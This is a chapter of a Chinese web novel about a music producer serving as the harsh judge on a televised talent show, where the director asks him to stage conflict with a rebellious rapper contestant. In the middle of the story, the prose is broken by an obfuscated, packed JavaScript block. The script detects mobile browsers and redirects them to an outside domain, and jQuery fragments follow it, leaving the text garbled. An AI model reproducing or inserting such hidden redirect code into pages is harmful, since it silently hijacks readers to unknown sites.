帝都，某大型影视基地。
处理完手头上的事情，唐逸尘赶忙赶到了综艺录制地点。
《新时代》节目组租用的场地远比唐逸尘想象的要恢弘气派。巨大的环形舞台被炫目的灯光矩阵笼罩，观众席呈阶梯状向上延伸，足以容纳数百人。
唐逸尘抵达时，距离下午的直播彩排时间还有三个小时，他拒绝了节目助理的引导，凭借出色的方向感，独自穿过忙碌的后台走廊。
沿途皆是步履匆匆的工作人员、调试设备的技师，以及一些提前抵达、脸上带着兴奋与忐忑的年轻练习生面孔。
他目不斜视，清冷的气场让想上前搭讪的人自动退避三舍。
会议室在基地深处，推门进去时，里面已经坐了三人。
主位上是总导演，旁边三位显然就是他的同事了。气氛不算热络，带着点初次合作的客套和审视。
“唐老师来了，正好，坐坐坐。”总导演是个微胖的中年男人，笑容可掬，指了指空位。
唐逸尘颔首，在留给他的位置坐下，目光不动声色地扫过另外三位导师。
素田：笑容温和，气质儒雅，典型的暖男形象，正友好地对他点头示意。
松华毅：一位约莫三十出头的女性，坐姿笔挺，妆容精致却透着股凌厉，眼神锐利地在他身上停留了一瞬，带着评估的意味。
甜乐雅：年纪最轻，染着浅亚麻色的头发，穿着色彩明快的卫衣，正低头刷手机，察觉到唐逸尘进来，立刻扬起一个灿烂到有点夸张的笑容，元气满满地挥手：“嗨！唐老师！我是甜乐雅，请多指教呀！”
导演快速介绍了一下彼此，印证了唐逸尘的判断。除了名字，导演还特意点出了他们各自拥有的名气——名气声乐导师资格证、名气编舞师认证等等。
轮到他时，导演顿了一下，笑容更深：“唐老师就不用多说了，才华横溢，音乐制作上的成就大家有目共睹，这次负责毒舌点评，期待您的精彩表现！”
这话听着是夸，却巧妙地避开了名气问题，很常见的间接敲打。
唐逸尘神色不变，只淡淡应了一声：“嗯。”他心知肚明，却不太看得起这种作态。
松华毅的眼神似乎又在他身上多停留了半秒。
“好，我们来说正事。”导演示意助理分发材料，“这是初步筛选后，进入首轮直播盲选的学员名单。一共一百人。”
唐逸尘接过厚厚一叠名单。
导演接下来的话，让他瞬间明白了这份名单的奥妙。
“各位老师手里拿到的名单呢，是我们为了直播盲选环节特意准备的。”导演环视四人，语速不快，却带着深意，“在外界看来，在盲选阶段，你们只能看到学员编号和基础信息，无法看到他们背后的经纪公司。
只有当他们被选择加入你的队伍后，你才能拿到完整的资料，包括他们是否在你们各自持有的名单上。
所以很考验各位老师的演技。”
唐逸尘垂眸翻看着自己手中的名单。
清一色的素人，或者来自名不见经传的小公司。履历平平，甚至有些堪称简陋。
他抬眼，看到素田和甜乐雅正低声交流着，松华毅则皱着眉在名单上快速勾画着什么。
他们手里的名单，显然和自己这份截然不同——大概率是他们各自公司塞进来的、重点培养的“种子选手”。
果然，资本的游戏无处不在。导演所谓的盲选，不过是给这种操作披上一层看似公平的外衣。名单分配本身就是一种资源倾斜。
“另外，”导演的声音再次响起，带着点提醒的意味，目光直接落在了唐逸尘身上，“唐老师，有件事需要您特别留意一下。”
唐逸尘抬眸。
“这份名单里，有一个叫克渊的学员。”导演用手指点了点唐逸尘面前的名单，“编号A37。他情况比较特殊。”
“哦？”唐逸尘挑眉，等着下文。
“你也发现了，少了一个头部公司吧，这个学员年轻，很有个性。”导演说得委婉，但意思很明白——这是个被原公司想要压一下脾气的刺头。
“他现在的路线，公司希望他走的是……嗯，黑红路线。话题度是有的，同时还能压一压性子，节目组的意思是……”
导演顿了顿，身体微微前倾，压低了些声音：“在镜头前，尤其是点评他的时候，唐老师您……说话可以重一点。制造点冲突，效果会更好。辛苦您了。”
黑红路线？制造冲突？
唐逸尘心中了然。
这是把他这个导师当枪使，用来给这个克渊当垫脚石，或者更确切地说，说难听的的，压一下傲气，顺带帮节目组和那个克渊炒话题。
不得不说，正合他意。
他面上没什么表情，只点了点头：“知道了。”语气平淡无波，既没表现出反感，也没显得跃跃欲试。
松华毅似乎看了他一眼，眼神里带着一丝不易察觉的了然。
素田微微皱眉，甜乐雅则依旧笑嘻嘻的，仿佛没听懂其中的弯绕。
会议很快结束，明确了下午彩排和晚上直播的流程细节。
散会后，三位导师各自被助理簇拥着离开。
唐逸尘独自一人，拒绝了助理的跟随，拿着流程单和那份特殊的学员名单，准备去熟悉演播厅和机位。
刚走出会议室，甜乐雅就小跑着追了上来，自来熟地拍了下他的手臂：“唐老师唐老师！等一下！”
唐逸尘停下脚步，看着她。
“嘿嘿，”甜乐雅露出一个狡黠的笑容，压低声音，“导演刚才说的那个克渊，我听说过一点哦！是个超级难搞的刺头，以前在公司就跟导师拍过桌子！您可要小心点，别被他气到啦！”
她眨眨眼，一副分享八卦的兴奋模样。
“是吗。”唐逸尘反应平淡，“谢谢提醒。”
“哎呀，不用谢啦！”甜乐雅摆摆手，“对了唐老师，加个微/信呗？以后排练什么的方便联系！我扫您？”她掏出手机，亮晶晶的指甲晃眼。
唐逸尘想到林骁的微信申请还躺在手机里没处理，现在又来一个……他有点头疼，但还是拿出手机，调出二维码，语气依旧没什么波澜：“嗯。”
“滴”一声，加上好友。甜乐雅心满意足地晃了晃手机：“搞定！那我先去化妆间啦！唐老师加油！期待您的综艺首秀哦！”
说完，蹦跳着跑开了。
唐逸尘看着她的背影消失，才低头看了看新加的微信，又想起林骁那个刺眼的“师傅”备注申请，眉头微不可查地蹙了一下。
考虑了一会，顺带一起通过了。
他收起手机，大步朝着演播厅走去。
下午的彩排主要是熟悉场地、灯光、摄像机位和走位流程。
巨大的演播厅里灯火通明，各种设备调试的声音此起彼伏。
唐逸尘适应得很快，他记忆力极佳，导演说一遍的走位和镜头切换点，他基本就能记住。大部分时间，他安静地坐在导师席属于他的那把设计感十足的椅子上，观察着现场。
松华毅在彩排时就已经展露出严苛的一面，对舞台灯光的角度、音响的细微反馈都提出了精确的要求，气场十足。
素田则显得温和许多，耐心地和助理导演沟通着细节。
甜乐雅最忙，她需要配合摄影机做出各种活泼可爱的反应，还要记住一些需要她带动气氛的互动环节。
唐逸尘看着，心里对各自的“角色”定位有了更清晰的认知。
他的任务相对简单——在学员表演时精准“开炮”。
导演特意安排了两个模拟学员表演片段，让他试了试点评的语调和节奏。
不得不说，很是贴心。
“表情可以再冷一点，眼神要更有压迫感……对！就是这个感觉！唐老师，这人设真的很适合你，观众绝对爱看！”导演在耳机里兴奋地指挥着。
唐逸尘依言调整，面无表情，吐出的点评词句简洁却直刺要害。彩排的效果让导演非常满意。
彩排间隙，他再次翻开了那份名单，目光停留在“A37克渊”的名字上。履历很简单，年龄19岁，特长：说唱（自评等级：S）。
照片上的少年染着一头嚣张的银灰色头发，眼神桀骜不驯，嘴角挂着一丝若有若无的痞笑。
黑红路线？个性问题？唐逸尘指尖在照片上点了点。
他不在乎节目组想炒什么话题，负责完成一定的负面值就行。
但如果这个克渊的表演真的不堪入耳，他不介意让导演的“重一点”变成现实。
负面值归负面值。
专业领域，是他不容侵犯的底线。
时间在忙碌的准备工作里飞快流逝。
夜幕降临，演播厅外的观众入口开始排起长龙，兴奋的议论声隐约传来。
后台的气氛也愈发紧张凝重。
化妆师给唐逸尘做了最后的定妆。
镜中的他，轮廓在精心修饰下更显深邃冷峻，本就出色的五官在舞台妆的加持下，呈现出一种近乎凌厉的俊美。
一身剪裁利落的黑色丝绒西装，衬得他身姿挺拔，气质愈发清冷疏离，完美契合了“冰山毒舌”的人设。
就是，唐逸尘照镜子都有点认不出自己原本的样子了。
他吞了吞口水，直播少说话，一次性过，应该问题不大。
就当一镜到底了。
“唐老师，您这气质……绝了！”化妆师忍不住赞叹。
唐逸尘没说话，只是最后整理了一下领口。他起身，在工作人员的指引下，走向通往导师席的通道入口。
通道尽头，巨大的舞台入口豁然开朗。
震耳欲聋的现场音效、炫目的灯光、观众席山呼海啸般的尖叫和掌声瞬间将他吞没。
很大的问题，有那么一瞬间，唐逸尘都想去报名选秀节目了。
哪怕蹭蹭舞台，不出道也行啊。
四位导师的出场顺序是精心设计的，甜乐雅打头阵，活力四射地跑出去，引发第一波尖叫；素田温文尔雅地挥手，收获一片暖心的掌声；松华毅气场全开地走出，专业范儿十足，台下响起敬畏的欢呼。
最后，追光灯猛地打在通道口。
唐逸尘的身影出现在光柱之中。
刹那间，原本喧闹的现场诡异地安静了一瞬。
紧接着，爆发出比之前更加狂热、甚至带着点疯狂的尖叫！
“啊啊啊啊啊，这谁啊？！”
“不知道啊！反正，看我！！”
“卧槽！这颜值是真实存在的吗？！冰山美人杀我！”
“好帅好带感！”
直播镜头精准地捕捉到他微微蹙眉的表情特写——似乎是被这过于狂热的声浪惊扰，又像是天生带着一丝不耐烦的清冷。
这个细微的表情，通过无数块屏幕瞬间传递出去，再次点燃了弹幕的狂欢。
【awsl！这个皱眉！我没了！】
【救命！他好拽我好爱！】
【冰山美人！人设稳稳的！】
【颜狗的盛宴开始了！】
唐逸尘在几乎要掀翻屋顶的声浪中，步履沉稳地走向自己的导师席。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841466|175641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他无视了几乎怼到他脸上的摄像机，也忽略了台下疯狂的呐喊，径直坐下，目光平静地投向空无一人的舞台中央，仿佛周遭的一切喧嚣都与他无关。
直播，正式开始。
学员编号滚动，第一位学员登台表演。素田和甜乐雅适时给出鼓励和暖场点评，松华毅则一针见血地指出了基本功的问题，现场气氛渐渐被调动起来。
唐逸尘大部分时间沉默，只在表演结束、轮到导师点评时，才会拿起话筒。
他的点评一如彩排时那样，简短、犀利、毫不留情，直指核心问题。
“你这高音根本唱不上去，为什么要选？”
“练了这么久，就这种效果？”
没有多余的废话，没有刻意夸张的表情。
其实唐逸尘很克制，并没有过多解释他的话的意思，这种解释的活都由另外三人负责了。
不过，他不知道的事，每一次他开口，现场都会安静几分，弹幕则疯狂刷屏；
【好爽！】
【虽然残忍但好有道理！】
【学员都快哭了但是……他说的对啊！】
【确实一般，怎么最近的选秀学员一届不如一届。】
流程顺利进行。编号不断跳动。
终于，舞台灯光暗下又亮起，一个顶着一头醒目银灰色短发的少年出现在舞台中央。
他穿着宽松的街头风服饰，脖子上挂着几条夸张的银色链子，脸上带着桀骜不驯的神情，眼神扫过导师席时，刻意在唐逸尘的方向停顿了一瞬，嘴角勾起一个挑衅的弧度。
追光灯打在他身上，大屏幕上显示出他的编号和名字：
A37克渊
现场响起一阵不小的议论声，显然有人认出了这个人为制造的话题人物。弹幕也瞬间密集起来：
【来了来了！克渊！】
【听说很狂？】
【肯定狂啊，人家可是凭本事狂的，可不是什么三瓜两枣。】
【说话难听的那个导师，总不能说渊渊吧，渊渊是真的跟你爆了。】
弹幕发的还算克制，但很明显，唐逸尘的发言还是引起了一部分的人不满。
【不会的，感觉这个导师应该很专业，肯定听的出来的，这次综艺可是首次采用证书制。】
很快。
音乐响起，是节奏强劲的电子混音。
克渊拿起话筒，开始了他的说唱表演。
他的台风很炸，肢体语言极具侵略性，瞬间点燃了现场一部分观众的情绪。
“Yeah！Listen up！这舞台由我主宰！
规则算个P，老子天生就反叛！
那些虚伪的面具，统统给我撕烂！
我的Flow像刀锋，划破这平庸夜晚！
……”
然而，在唐逸尘这种对音乐有着极致敏锐度和苛刻标准的人耳中，这表演简直漏洞百出！
气息不稳导致节奏时有拖沓，几个关键节点的重拍踩点模糊不清，歌词内容空洞重复着“反叛、主宰”的陈词滥调，最致命的是，在进入一段需要快速咬字的Verse时，他的音准出现了明显的飘忽！
虽然他用夸张的肢体动作和嘶吼试图掩盖，但在专业耳朵里，这瑕疵如同白纸上的墨点一样刺眼！
后台导演通过耳机激动地小声提醒：“唐老师！唐老师！注意！A37！克渊！可以开始了！重一点！制造点冲突！”
松华毅眉头紧锁，显然也听出了问题。素田脸上温和的笑容淡了些。甜乐雅则紧张地看了一眼唐逸尘。
表演结束。
克渊站在舞台中央，胸膛微微起伏，脸上带着表演后的亢奋和毫不掩饰的自信，甚至挑衅地抬了抬下巴，再次看向唐逸尘的方向，似乎在等着他的评价。
现场掌声和口哨声混杂。
轮到导师点评。
素田和甜乐雅出于节目效果和缓和气氛考虑，说了些“台风很炸”“很有个人特色”之类的场面话。
松华毅则表情严肃，将评价阶段交给唐逸尘。
最后，所有人的目光，包括全场观众和直播镜头，都聚焦在了唐逸尘身上。
后台导演屏住了呼吸。克渊的眼神更加挑衅。
唐逸尘缓缓拿起面前的话筒。
他身体微微前倾，冰冷的视线穿透舞台的光影，精准地锁定在克渊身上。
那张俊美却毫无表情的脸上，一种近乎刻薄的审视。
整个演播厅瞬间安静下来，落针可闻。
所有人都在等待唐逸尘不一样的表情。
前面你说不好听，这个总行了吧，从小学到大的练家子，这下总该夸了吧？
唐逸尘薄唇轻启，清冷的声音透过麦克风清晰地传遍每一个角落：
“A37，克渊？”
他顿了顿，像是在确认一个极其可笑的存在。
现在的环境已经到了这种地步了吗？
这种人都能有傲气？
简直就是矮子里拔高个，还要夸矮子比树高。
“你刚才那段表演……”
唐逸尘嘴角勾起一个极浅弧度。
直播弹幕瞬间炸锅：
【他笑了，啊啊啊，是满意吧。】
【肯定啊，除了克渊还能是谁啊。】
【粉克渊爽死了，他简直就是爽文男主啊。】
下一秒，话语说出：“是在用噪音证明你的反骨，还是用跑调来挑战观众的忍耐极限？”
轰！
一句话，如同冰锥，瞬间刺破了所有的喧嚣和期待！